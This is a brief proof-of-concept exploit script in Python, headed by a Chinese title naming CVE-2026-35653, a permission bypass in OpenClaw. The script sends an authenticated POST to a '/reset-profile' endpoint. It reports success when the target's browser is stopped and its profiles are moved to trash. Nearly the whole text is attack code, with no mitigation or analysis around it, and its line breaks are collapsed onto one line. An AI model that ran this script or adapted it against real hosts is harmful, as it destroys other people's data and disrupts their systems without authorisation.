CVE-2026-35653 OpenClaw权限绕过漏洞

import requests # Target configuration TARGET_URL = "http://vulnerable-host:port/reset-profile" # Headers simulating an authenticated user with 'operator.write' access # In a real scenario, this would be a valid session cookie or API token headers = { "Content-Type": "application/json", "Authorization": "Bearer <valid_operator_write_token>", "User-Agent": "Mozilla/5.0 (compatible; Exploit/1.0)" } def exploit(): print("[+] Attempting to exploit CVE-2026-35653...") try: # The vulnerability allows triggering the reset via a simple POST request response = requests.post(TARGET_URL, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful!") print("[+] The browser should be stopped and profiles moved to trash.") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response body: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred during the request: {e}") if __name__ == "__main__": exploit()